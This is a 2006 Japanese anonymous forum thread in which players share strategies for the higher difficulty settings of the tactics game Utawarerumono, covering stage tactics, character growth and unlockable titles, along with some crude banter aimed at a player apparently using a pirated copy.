93 名前:名無しさんだよもん [2006/09/16(土) 11:32:50 ID:jltKFv3K0] >>91 そうだったんですか、ありがとうございます! どうりで多いと思ったら・・
94 名前:名無しさんだよもん mailto:sage [2006/09/16(土) 23:18:21 ID:XZothL+50] みんなDVDやってるんだな。 俺、CD初回版買ってノーミスクリアしかやってねぇや。 CD版で キャラ一回も死なせない&コンテニューなし&敵殲滅 だったらDVD版でどれくらい称号取れるんだ?
95 名前:名無しさんだよもん mailto:sage [2006/09/16(土) 23:34:23 ID:ewBYBc1i0] >>94 結構な数取れるとは思う でも難易度3以上ではCD版では想像も出来ない戦いが繰り広げられる
96 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 00:13:20 ID:9sihFjl30] >>95 レスサンクスな。まあ、DVD版は多分買わないで、PS2だけ買うろうけどさ。 で、今一わからんのだが難易度3ってのは自分で縛ってるだけなのか?それとも設定的にそうなってるのか? あと、高難度四とか五とかってのはCPUの思考性能のことでおk?
97 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 00:36:55 ID:SbHJ6V+p0] >>96 そんくらい自分で調べれ。 …設定でそうなっている。 スタートする時に標準難度、難度1、難度2、難度3の4つ選択肢が出て さらに隠しで難度4、難度5の計6つの難易度が選べるようになっている。 標準難度に比べ、難度○は ・敵の能力値が上がっている ・敵の思考性能が強化されている ・大まかな行動順がわかるようになった。 などの変更点がある。細かい事は他にもたくさんあるが視覚的にはこんな感じ↓ ttp://www.hayasoft.com/chansama/cgi-bin/source/img/380.jpg 特に難度3以降は難しく、最初のキママゥ戦でさえ全滅する確率が高く、 次のムティカパ戦では敵の思考ルーチンがわかってないと永延とコンティニューを繰り返すことになる そんな状況でも縛りプレイをする猛者はいるものでその功績が>>4
98 名前:闇夜 ◆PMny/ec3PM mailto:sage [2006/09/17(日) 01:02:56 ID:IE/wN9o30] >>94 CD版発売直後に買ってそれでクリアしたが、今DVD版の難易度1で四苦八苦してる俺って('A`) 属性とか今頃理解したしw オリカカンで悶絶。弓ウゼェw
99 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 01:47:16 ID:9sihFjl30] >>99 重ね重ねスマン。 条件見るとキャラ死亡50回とかがめんどくさそうだ。 俺はFE勢だからキャラ死亡は絶対させないのがポリシーだからなぁ。 話聞いてるとなんか買いたくなっちゃうな。
100 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 01:48:17 ID:9sihFjl30] って盛大にアンカーミスった orz >>97 な。 改めてありがとう
101 名前:前スレ134 mailto:sage [2006/09/17(日) 03:03:50 ID:d1TvfnxY0] 前スレからやってました 難易度3・ノーコン・技のみBP使用可制限ですが、 とりあえずサジ投げました(x_x; 最終局面でハクオロはLV25(一回も攻撃せず)で技にもBP未使用にしました。 トウカは何とかLv44まで育てたのですが、それでも最後は 1回当たりに与えるダメージは60〜70P、受けるダメージは80〜90P。 なので、3回ダメージを与えたら腕の下のエルルゥに回復させるを繰り返して たのですが、1/4程体力を削った段階で、ターンを半分消費・・・ 敵の経験値も2/3程溜まる状態なので、トウカのLvをこれ以上あげても 敵のLvUPの方が先になりそうなので、間に合いません・・・ という訳で、難易度3からは攻撃力か術防御にBPを使用させないと クリア出来ないかと・・・ ちなみにエルルゥはLv95でした。 (滅び行く者では、エルルゥのLvが85位無いと抜けられません) もし今後クリア出来た方がいたら、そのやり方を教えて下さい(−−;
102 名前:前スレ134 mailto:sage [2006/09/17(日) 15:52:30 ID:d1TvfnxY0] えーと・・・スミマセン、、、 難易度3・ノーコン・技のみBP使用可制限ですがクリア出来ちゃいました。 バグか何か分からないのですが、ターンオーバーまでやってみようとしたら、 敵はLvUpしても体力もLvも上がらない事が分かりました。 なので、あとはターンオーバー制限だけなので、以下の感じでゴリオシしました。 前半:カルラを正面・トウカを左脇腹において、エルルゥが左前で両者を回復。(途中エルルゥLvUp調整) 中盤:エルルゥを右腕の下におき、カルラを曝してひたすら回復させてLvUp体力回復させる。 その間、トウカは左脇腹とエルルゥをピストン異動 終盤:ターンオーバーの都合上、前半と同じ陣形を組んでひたすら攻撃。 ターンオーバー間近でエルルゥ・カルラが消え、最後はトウカのみになりましたが何とか撃破。 (前半:敵体力1/4まで削る。中盤:敵体力3/4まで削る) トウカはLv44〜46まで育ちました。カルラは最終敵にLv32でしたが、もっと育てていれば少し楽だったかも。 www.hayasoft.com/chansama/cgi-bin/uploader/src/up0037.jpg という訳で、DVD版ではやり残した事はもう無い気がします( ´ ▽ ` ) 今まで応援(?)して下さった方、テーマを考えて下さった方、ありがとうございました。
103 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 17:00:12 ID:mvEppi0n0] 本当にお疲れ様。 俺も少しでも近づけるように頑張るよ。 エルルゥ体力限界突破するのかw
104 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 18:29:32 ID:u3Rnkf8w0] いやもうただ脱帽です お疲れ様でした
105 名前:名無しさんだよもん mailto:sage [2006/09/17(日) 22:43:29 ID:RHWgyDDQ0] 匙を投げた後に拾いに行く猛者ぶりに脱帽 お疲れ様でした
106 名前:名無しさんだよもん mailto:sage [2006/09/18(月) 00:28:06 ID:Twn2g8/j0] >>102 さすが前スレ134! おれたちにできない事を平然とやってのけるッ そこにシビれる! あこがれるゥ! AA(ry
107 名前:名無しさんだよもん mailto:sage [2006/09/18(月) 01:13:48 ID:Bz9PeUgE0] 神のレスは何回も参考にさせてもらったよ 俺の難度5初クリアは神のおかげ
108 名前:名無しさんだよもん [2006/09/18(月) 11:39:17 ID:1sXj8xrX0] 神とか言って持ち上げてるけどただのゲーヲタ暇人ニートだろ・・
109 名前:名無しさんだよもん mailto:sage [2006/09/18(月) 12:18:50 ID:fUSxwMAr0] 難易度1だけどハクオロさんをオール99にしてレベル49でいってみた ウィツの最初の一撃でクロウとウルトリィ以外全滅(ちなみにドリグラエルルゥカミュ以外はオール99でカルラにいたってはレベル60以上なのに(´・ω・`) そして死亡
110 名前:名無しさんだよもん mailto:sage [2006/09/18(月) 13:22:25 ID:sdCwyu3Z0] >>109 結構前になるが、コンティニュー前提、難度5、ハクオロのみLV99、 他はステータスのみ99をやってみようと思った。 経験値稼ぐには敵に多くのダメージを与えればいいわけだから 防御力の低い序盤の敵か、障害物が適任。 と、いうことでできるだけ序盤のうちにステータスは稼いだ方がいい。 とか構想は練れていたんだが、 ササンテ戦でBP30000くらい稼いだところでOS巻き込んでフリーズして以来放置('A`) LV198のウィツとか見てみたいんだけどなあ…
111 名前:前スレ134 mailto:sage [2006/09/18(月) 23:12:53 ID:ds2EjgOC0] DVDの1〜2巻を今日見ました。ストーリーは省かれてる所も多かったですが、 その他大勢の人達が描かれていて良いですね。 オリカカン編を見るのがちょっと怖い・・・ >110 相手の経験値にもよるので、稼ぐならクーヤステージか、力ステージの方が良いかと。 難易度1でハクオロがLv99なら、他のキャラも最終ステージでLv99まで育てられそうですね。 >108 2スレ目にして今更言われるとは思わなかったですが、一浪しつつ卒業後は普通に会社員です。 人にやりこんだと言えるのは、うたわれ以外だと ぷよぷよ 位です。 PS2、そろそろ買わないと無くなっちゃうのかな・・・
112 名前:名無しさんだよもん mailto:sage [2006/09/19(火) 00:04:11 ID:28MkB7O60] てかコンティニュー後にセーブして一度落とすとBPリセットされたりするんだっけ。 フリーズしてもセーブしたとこからもう一度やればいいだけのような。
113 名前:名無しさんだよもん mailto:sage [2006/09/20(水) 01:26:36 ID:Dpe/skt90] >>112 それでリセットされるかは分からないけど、単にコンティニュー後にセーブしていなかったんじゃないの?
114 名前:名無しさんだよもん [2006/09/20(水) 14:18:07 ID:1ARyGyt70] / ̄ ̄ ̄ ̄ ̄ ̄ ̄ < おはよー! \_______ ___ / ― ― \ / (●) (●) \ /⌒)⌒)⌒. (__人__) \ あ・・・おは | / / / ` ⌒´ | | :::::::::::(⌒) ミ / | ノ \ ヽ / ミ ヽ | | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ < 宿題やった? < んーん全然 \_______ \_______ / ̄ ̄\ ./ ヽ_ \ ____ (●)(● ) | お前に話しかける奴なんて / ― -\ (__人__) | いないだろ / (●) (●) ヽ`⌒´ | / (__人__) \ . { | 常識的に考えて・・・ | ` ⌒´ | { ノ \ / ヽ ノ ___/ \ / ヽ / ヽ | | l||l 从人 l||l ヽ -一''''''"~~``'ー--、 -一'''''''ー-、 ヽ ____(⌒)(⌒)⌒) ) (⌒_(⌒)⌒)⌒))
115 名前:名無しさんだよもん [2006/09/22(金) 18:48:18 ID:f7c28Nf70] トウカ育てるならクロウ育てる俺 キャラの好み的に
116 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 03:31:49 ID:vyuSgmsk0] 難易度壱の洗礼を受けています。 標準と比べてだいぶ難しくなってますね。標準はどんなやり方してもまず 負ける事はなかったが。
117 名前:闇夜 ◆PMny/ec3PM mailto:sage [2006/09/23(土) 04:03:04 ID:WTaVsJwl0] >>116 難易度設定して初めて属性の重要性を感じたw 与えるダメージよりも食らうダメージのでかさに辟易。 まぁ最初は全滅しまくってもコンティニューしまくれば後は大分楽になるけどねw ところで、難易度無し→難易度1と難易度1→難易度2ってどっちの方が差があるのかな?
118 名前:名無しさんだよもん [2006/09/23(土) 07:04:38 ID:xUvyYbQe0] 高難易度2でクリアしたけど、最後強制終了させられちゃうのは普通?
119 名前:名無しさんだよもん [2006/09/23(土) 07:05:21 ID:xUvyYbQe0] そのおかげで画像も最後から2枚目見れないし・・・。 どなたかご存知でしょうか。
120 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 07:22:17 ID:Ldt38sTp0] >>119 海賊版キタコレ >>117 インパクトの差という意味では難易度無し→難易度1かな? 1→2→3→4→5とやっていくとそんなに差はないように感じる。 俺の場合標準→1→3→5だったが。
121 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 10:42:26 ID:AqQczMn50] >>119 ちゃんと製品版を買えば直るよ >>120 適当にやっててもクリアできる標準に対して、 高難易度は陣形とか気にしないとクリアできないから 「作戦をたてる」という意識が頭の中にできて、 1→2とかの場合は差を感じないんじゃまいか?
122 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 15:02:54 ID:5RCy1pWj0] 難易度3の荒ぶる森の王がどう考えても越せそうに無いのだが('A`)
123 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 15:15:58 ID:RD68Asi70] >>122 誰も撤退させたくないのなら猿退治でしっかりレベル上げなきゃいけない 普通に突破したいなら ハクオロを4歩進める→親父も4歩進める 並んだ状態から親父置き去りにしてハクオロは罠の方向へ全力疾走 エルルゥを生贄代わりに猿に近寄らせる 親父とエルルゥがやられる頃には罠発動できる
124 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 15:31:13 ID:5RCy1pWj0] 親父4コマも進めない。゚(つД`゚)゚。 ちょっとやり直すわw
125 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 15:32:07 ID:RD68Asi70] >>123 スマン・・・俺のミスだ とにかく親父とハクオロを最初だけ並べるんだ!
126 名前:名無しさんだよもん mailto:sage [2006/09/23(土) 15:42:46 ID:Ldt38sTp0] 特に戦術が必要なムティカパとギリアギナは テンプレにした方がいいかもな。>>78-82 あたり。 このスレが終わる頃にはPS2版が出てるだろうが。 >>124 >>82
127 名前:名無しさんだよもん [2006/09/23(土) 16:12:56 ID:IDdo+TYO0] ギリアギナギリアギナギリアギナギリアギナギリアギナギリアギナギリアギナ
128 名前:名無しさんだよもん [2006/09/24(日) 11:06:12 ID:bcUAUaDR0] >>126 ギリヤギナだろ
129 名前:126 mailto:sage [2006/09/24(日) 11:10:53 ID:/jM3kIDC0] >>5 のせいという事にしておいてくれ('A`)
130 名前:名無しさんだよもん mailto:sage [2006/09/24(日) 13:50:31 ID:82ujNlRi0] ついさっき難易度5の荒ぶる森の主を攻略していたんだが・・・ 紆余曲折あって、包囲網を抜けたハクオロ。 大事をとって罠の奥にハクオロを配置。 そしたらさ、ムディカバが罠の上を華麗に駆け抜けて、 罠の向こう側に回り込んでハクオロを攻撃。ハクオロあぼん。 ……おかしいじゃん。
131 名前:名無しさんだよもん [2006/09/24(日) 14:12:56 ID:bcUAUaDR0] >>129 ほんとだ、悪い >>130 あれは罠の上で止まらせないといけない。 攻撃される位置にいても罠の上だと落ちるほうが優先されるからね 向こう側に行き、罠を通過されるとまた面倒なことになる。 まあ、どんまい
132 名前:名無しさんだよもん [2006/09/24(日) 14:17:45 ID:y7TE0rj10] いいんちょうおめ^^ ttp://www.vipper.net/vip98412.jpg
133 名前:前スレ134 mailto:sage [2006/09/24(日) 14:28:21 ID:pDzKsMWr0] 難易度5でコンティニューしまくって、 ハクオロLv30、エルルゥLv50でギリヤギナに挑んだら、 敵全員常にデリに向かうようになってしまい、 瀕死キャラも作れなくて誘導が出来ず、抜けられない・・・
134 名前:名無しさんだよもん mailto:sage [2006/09/25(月) 00:34:53 ID:IpfvWqIr0] そら死亡フラグですわ、全員強行突破策でも無理なら新しくやり直せ・・
135 名前:名無しさんだよもん mailto:sage [2006/09/25(月) 01:23:45 ID:LBip/bLM0] 高難度1でノーコンティーニューと称号いっぱい取得してクリアした。 あ〜疲れた。
136 名前:名無しさんだよもん mailto:sage [2006/09/25(月) 11:01:35 ID:vOgbFaZ40] 現スレ134が前スレ134に説教してる…
137 名前:名無しさんだよもん [2006/09/25(月) 14:36:54 ID:WyU4oCG00] >>136 傍から見てても笑うしかないな…(´・ω・`)
138 名前:名無しさんだよもん [2006/09/25(月) 19:16:15 ID:ZbX8a8vK0] 高難度5での後半戦にウルトとカミュが強制出撃が多いのはイジメですか? アブ・カムゥとか術防御「??」でALL1ダメで使えない(´・ω・`)
139 名前:名無しさんだよもん mailto:sage [2006/09/25(月) 19:52:47 ID:NR0iT8V/0] ひどい釈迦に説法を見た
140 名前:名無しさんだよもん mailto:sage [2006/09/25(月) 21:58:32 ID:Sgzx8rdU0] >>138 術なんか飾りですよ。ウルトとカミュは基本的に囮。 攻撃を一時的にそらしたりということに使える。
141 名前:名無しさんだよもん [2006/09/25(月) 22:07:17 ID:yBW1fBN40] でもやわらかデリのステージでは不可欠
142 名前:名無しさんだよもん [2006/09/26(火) 14:16:35 ID:mEBuhAY+0] ま、このスレの>>134 が前スレ134を上回るすごさかもしれない。 諺つながりでは、能ある鷹は爪を隠すって言うし
143 名前:名無しさんだよもん [2006/09/28(木) 00:34:39 ID:wYe0Y0mO0] まあ、そうだけど。。。
144 名前:名無しさんだよもん mailto:sage [2006/09/28(木) 23:56:51 ID:fkX8tuX90] PS2版10/26発売か PS2持ってない俺がここで語れるのももうあと1ヶ月って事だな
145 名前:名無しさんだよもん mailto:sage [2006/09/29(金) 02:14:30 ID:49lwwT3n0] そんな時期にいまさら難易度5、ノーコンに挑戦している俺。 カルラッツァレイ難しすぎだろ…… 10回以上挑戦してようやくクリア。 しかし難易度5のトウカの初期値は本当に詐欺だな。
146 名前:名無しさんだよもん mailto:sage [2006/09/29(金) 02:37:07 ID:49lwwT3n0] カルラゥアツゥレイか。ぜんぜん違うじゃん。
147 名前:名無しさんだよもん [2006/09/29(金) 10:58:03 ID:tYNRimfy0] 難易度5はムティカパで必ず一度も攻撃できないうちに殺されるから諦めかけてるんだが 本当に、アレどうすればいいんだろうか?
148 名前:名無しさんだよもん [2006/09/29(金) 12:00:46 ID:t66hpGzq0] >>81 と>>82 を見ろ、クリアできる
149 名前:名無しさんだよもん [2006/09/29(金) 23:08:21 ID:l17x5s+a0] >>148 過去ログくらいは見てた…のだけれど、多少勘違いしてたみたい。上の方法で普通にいけた。 スレ汚しスマソ
150 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 02:16:18 ID:Bhqa38v00] >>145 難易度5再戦なしの場合、トウカが手塩をかけて育てたオボロやベナウィ よりもぜんぜん強いせいで、ちょっと切なくなる。
151 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 02:22:06 ID:pkf5uttx0] 一人一人が武人として名を残すエヴェンクルガの本領発揮だよな高難度5トウカ その代わりゲンジマルが老いで・・・
152 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 07:47:48 ID:Wste7wem0] >>150 パラさえ追いつけばオボロとべナウィの方が強いんだからもっと贔屓なさい。
153 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 21:54:14 ID:hZKKPa1W0] 攻撃力99で統一したら一番与えるダメージ多いのって誰なの?
154 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 21:59:09 ID:pkf5uttx0] 一発のダメージだけならカルラじゃね? 連撃も含めるならわからん
155 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 22:11:24 ID:rh32v0ce0] レベルパラなら ttp://www.remus.dti.ne.jp/~jun31974/jkweb/kouryaku/utaware/ に載ってるからそれでいいんじゃない?
156 名前:名無しさんだよもん mailto:sage [2006/09/30(土) 23:16:11 ID:/IVzincK0] やっと難易度壱でノーコンクリアできたから調子こいて難易度五やってみた。 最初のステージ以外負けまくり。名も無きものと彷徨いしものは簡単に取れそうだな・・・
157 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 01:08:33 ID:hbAZ/urJ0] 序盤で再戦しすぎると泣きを見るステージがあるよ
158 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 05:27:07 ID:tcWBAw3E0] どこ? 荒ぶる森の主じゃないよね。
159 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 07:02:58 ID:gd0PiEMq0] >>158 多分デリホウライの出るステージ。 強くなりすぎるとこっちに敵を引きつけられなくなる。
160 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 14:16:31 ID:2VNxaEh20] 必死で難易度壱クリアしていざCGを・・・・と思ったら 何故か高難易度クリアで見られるCGが見られない 見ようとすると強制終了されてしまう・・・・だめかな っていうかこれ称号コンプのCGも見られないんだろうか
161 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 14:41:36 ID:TqRkYVlG0] 一つ言えることはこの板で聞くとほぼ確実に罵声が返ってくるだろうという事だけだ。
162 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 14:48:03 ID:tBaD0WM30] あえて言うとしたら・・・買えよクズ
163 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 15:12:18 ID:r+ljro4k0] >>160 ダウソ厨乙
164 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 15:22:03 ID:GYTd2Jga0] 忠実なる者のBP未使用はテオロとかでも大丈夫ですか?
165 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 15:24:37 ID:O4d/wnSQ0] >>160 まだこんな馬鹿がいることに感動
166 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 16:49:25 ID:XlqKNB9L0] ダウン厨死ねよ、まあ俺もだけどw
167 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 16:52:04 ID:gd0PiEMq0] >>164 大丈夫。極めしもの同時に狙うならゲンジマルでやると楽。
168 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 17:53:03 ID:PK0jlRZV0] 俺のはちゃんと見れるぞ。
169 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 20:49:29 ID:tBaD0WM30] ぬああ何度やってもエヴェンクルガの女後半で負けるぅ いちいちオリカカンが復活しなけりゃまだ勝ち目はあるんだが
170 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 21:35:47 ID:B+S6Rt3g0] トウカの出現条件はオリカカンの撃破か一定ターンの経過だから 瀕死までダメージ与えてからトウカ出現まで待ってれば復活させずに倒せる
171 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 21:37:53 ID:693YM6Pa0] >>169 まずはマップ右下で耐えるんだ! オッサンなんか後回しだ! もしオッサンが近寄ってきたら範囲攻撃が怖いからカルラで一気に潰すんだ!
172 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 21:55:25 ID:RJoTjMgP0] 難易度5再戦なしで、アヴカムゥクリア。 この面って敵を倒す爽快感がないから、あんまり好きじゃねぇや。 前スレの攻略法にはマジ感謝。 >>169 前半でオリリカン一人になったら、マップ左下まで誘導。 左下隅で、オボロやカルラで囲んでオリリカンを倒す。 後半戦に入ったら、その場所でトウカがやってくる前に、オリリカンを瞬殺。 援軍はトウカだけが先行してくるので、左下隅で待ち構えてトウカだけを倒すのが確実。 余力があるのなら、援軍全滅を狙っても良い。 こんな感じじゃだめか? 後、オリリカンの斜めは術法の安全地帯な。
173 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 21:57:19 ID:tBaD0WM30] >>170 な なんだってー!律儀に倒してた…… ハクオロ右下に逃がしてから復活したオッサン袋にしてトウカ集中攻撃してどうにかクリア。 長かった…
174 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 22:03:13 ID:tBaD0WM30] そういやエルンガーのBPがえらい沢山入ってたけど増える条件ってひょっとして死ぬ事?
175 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 22:21:10 ID:r+ljro4k0] >>172 トウカ殿!オリカカン殿
176 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 22:58:33 ID:2TOgjyBW0] >>174 いや、死ぬことではない…はず。いまだに条件不明だ。 条件見つけられたら神化する。
177 名前:名無しさんだよもん [2006/10/01(日) 23:19:09 ID:5TCk7dBT0] でも俺の場合も考えてみれば、 よく死ぬステージでBPが多く入っていた気がする
178 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 23:20:26 ID:r+ljro4k0] どこかでダメージ量(オーバキル含め)や回復量って書いてあったのみた>BP
179 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 23:23:15 ID:hbAZ/urJ0] 最早何週プレイしたかわからんけど未だに150から変わった事無いぞ俺。 >>174 とりあえずどのくらい入ってた?
180 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 23:36:47 ID:tBaD0WM30] >>179 110Pかな
181 名前:名無しさんだよもん mailto:sage [2006/10/01(日) 23:40:13 ID:tBaD0WM30] 基本配給分に加えて110な
182 名前:名無しさんだよもん mailto:sage [2006/10/02(月) 10:53:28 ID:pX4GLZlu0] 前に貯めてたやつじゃないの?
183 名前:名無しさんだよもん mailto:sage [2006/10/02(月) 11:02:16 ID:NUiBhqD60] 貯めてなす つうかそんな勘違いは流石にありえねえwwwwww
184 名前:名無しさんだよもん mailto:sage [2006/10/02(月) 11:53:15 ID:pX4GLZlu0] いや、お前の場合はありえ(ry
185 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 01:36:47 ID:bYfNftO+0] 難易度5クリア、っと。オボロがタイマンで勝てなかったことが残念。 トウカの術防御が初期値からやたらと高いのって、 ウィツの攻撃が術攻撃だということを知らなくてもウィツが倒せるようにっていう、 保険みたいなものなのかな、と今更ながらに思ったり。
186 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 03:06:52 ID:2S9WRgxk0] 壱も結構いけるな〜と思ってトントン拍子にやってきたけど、 「滅びゆく者」で十何戦全敗。ここまできて挫折の予感…。 残り敵3〜5体でゲームオーバーって勝てる気がしねえ キャラの育て方とか何も考えずに来たからなぁ やり直すしかねえのだろうか
187 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 11:23:33 ID:fzn/Eqd50] 難易度7くらいまでほしいな
188 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 12:34:09 ID:if0p8biY0] >>186 むしろ特攻してクーヤ狩れ 全員前進して中央の柵がある部分でハクオロ、エルルゥ、その他2〜3人で陣組んで 残りのヤツでハクオロたちがやられる前にクーヤを撃破できる
189 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 12:38:45 ID:tS6aqPbY0] 滅びゆくものって雨が降っててアヴが次々に出てくるステージじゃなかったっけ? 遊撃部隊+端っこ陣形で安定。
190 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 15:38:28 ID:HLh69KJF0] 難易度1で極めしもの取ったぜ。意外と簡単だったな。 あと称号6個だ。オンヤンクルはめんどくさいな。
191 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 22:40:43 ID:pN5bGYYU0] 984 名前: 名無したん(;´Д`)ハァハァ [sage] 投稿日: 2006/10/03(火) 13:54:04 ID:BWAKTp2g ハクオロ Lv40 技:1 攻撃力:99 防御力:99 術防御力:20 エルルゥ Lv51 1-52-28-43 ドリィ Lv17 1-56-14-20 グラァ Lv10 1-21-28-16 オボロ Lv33 1-60-81-15 アルルゥ Lv17 1-43-65-23 ベナウィ Lv20 2-47-53-28 クロウ Lv11 2-36-24-15 カルラ Lv36 1-99-50-7 ウルトリィ Lv35 1-49-15-50 カミュ Lv25 1-39-23-36 トウカ Lv33 4-81-68-43 ゲンジマル Lv28 4-41-54-46 唯今レベル上げの為、『クーヤ』で待機中。 助けてくだちぃ 普通にやってこんなに上がるか?
192 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 22:51:26 ID:eRNqZDRG0] 敵を一匹残してあと倒して最後の一匹に味方全員殺されるてコンテニューとか? 普通ではないとおもふ
193 名前:名無しさんだよもん [2006/10/03(火) 22:53:53 ID:w8fK/lv80] ハクオロがこんなに強かったら、ウィツがきついぞ。 他のキャラはいいとして…
194 名前:名無しさんだよもん mailto:sage [2006/10/03(火) 23:13:15 ID:tS6aqPbY0] >>191 技が初期値のままなのが('A`) これはコンティニューしまくっただろうな。 ラスボスはBPよりLV依存だからまだ可能性は有るが、 術防御上げるの大変だろうなあ…
195 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 00:33:23 ID:HuonAdM+0] ぶっちゃけ一番難しいステージってどこだろう? いや、難しいの定義によるんだろうけど。 俺は、 カルラゥアツゥレイがたいてい一番苦戦するが。
196 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 06:55:05 ID:D9Q37NEY0] >>195 ぶっちゃけムディカパ様の前半戦が1番難しいかもしれない ギリヤギナと滅び行く者も厳しいと言っちゃ厳しいけど 難易度5初挑戦の時はムディカパ様で8回も負けたorz
197 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 09:07:19 ID:FBUzP/gU0] 難易度3のときより5のときのほうがギリヤギナ簡単だった
198 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 16:08:49 ID:ZlU6s4it0] カルラはほとんど動きのパターンが決まってるから割と得意。 苦手なのは狩りし者の最初。何故か毎回敵が違う動きしてくるから読みづらい('A`) あと後半のプレッシャーが死ぬ。楽だけど。 素で苦労するのは滅び行く者だな。
199 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 16:16:33 ID:+BbGEnsQ0] 狩りし者は前半最後の方でターン切れたりするのが泣ける。 でもまあ育て方がきちんとしていればどれも同じような難易度だとは思うが。 と、いうことで最終戦に一票。
200 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 18:09:03 ID:Cvs+mbSG0] 狩りしものでコンティニューしまくったからトウカがフル改造できるくらいBP溜まってた アブカムゥにも徹底的に避けられててワラタ
201 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 18:34:22 ID:zqKuqNk00] 狩りし者は最初で誰も死なせないようにするのが難しい。 あとクロウと一騎打ちの所。高難度3でやった時エルルゥを鍛えてなかったためか 一回コンティーニューしないと抜けられなかった。
202 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 19:29:01 ID:zqKuqNk00] 高難度3一周目だけどこれノーコンティーニューでもクリアできるの?
203 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 19:38:17 ID:+BbGEnsQ0] >>202 >>4 見れ
204 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 20:19:47 ID:ZlU6s4it0] >>202 高難度参を頑張ってノーコンでクリアし、その後高難度五をもっと頑張ってノーコンでクリアする。 そして高難度参を再びやってみると、不思議な事にサクサク進める。
205 名前:シナ王( `ハ´) ◆FMcqrPFD.U mailto:sage [2006/10/04(水) 20:20:18 ID:FBUzP/gU0] 仮面〜クンネカムン〜の仮面兵がわらわら出てくんのもうざいな コンティーニュするようなステージではないが嫌いだ
206 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 21:15:47 ID:peGxU5VD0] 仮面くん達は無駄に攻撃力があるから困る 回復未使用とかBP未使用とか俺には無理だわ・・・
207 名前:前スレ134 mailto:sage [2006/10/04(水) 21:21:15 ID:9Cwf+2rQ0] 難易度5は瀕死の敵が逃げてくれなかったらもっと難しかったと思う。 戻れぬとか森の娘とかクロウ二回目とかはBP稼ぎづらいし、 デリはクリアすら難しくなるし、、、
208 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 21:31:24 ID:peGxU5VD0] 質問です。たくさんのキャラが仲間になるけど、まんべんなく育てたほうがいいですか? それとも数キャラに絞って育てたほうがいいですか? 高難度1と3と5をクリアしたけど、どれもノーコンクリアできなかったので・・・
209 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 21:56:02 ID:qaybdqAL0] 滅びゆくものテラムズカシス ゴキブリみたいに沸いて来やがって・・・・ どうやって攻略してる?
210 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 22:17:45 ID:EML3FtLU0] >>208 育てるキャラは絞るべき。高難度だと前半はオボロとドリィが主役。 中盤以降はオボロ、べナウィ、トウカが一軍、カルラが一軍半くらい。 クロウはカルラより強いがナトゥンク遠征を考えるとカルラを育てた方が楽だと思う。 ナトゥンク遠征以降は一軍三人さえ育ってればどうにでもなる。 加入時期や初期パラの関係で黙ってても強くなるオボロやトウカと違いべナウィは最初弱いので注意すること。 >>209 アヴカムゥはハクオロやエルルゥをひたすら狙ってくる。 地形やキャラを利用して道を塞げば迂回してくれるから、その隙に叩くんだ。
211 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 22:24:14 ID:peGxU5VD0] >>210 ありがとう。ナトゥンクのところで男キャラが抜けるのでベナウィとクロウは育ててませんでした。 高難度5ではオボロを育てて無理やりトウカとオボロで押し切ったけど。 とりあえずノーコンクリア再チャレンジしてこようっと・・
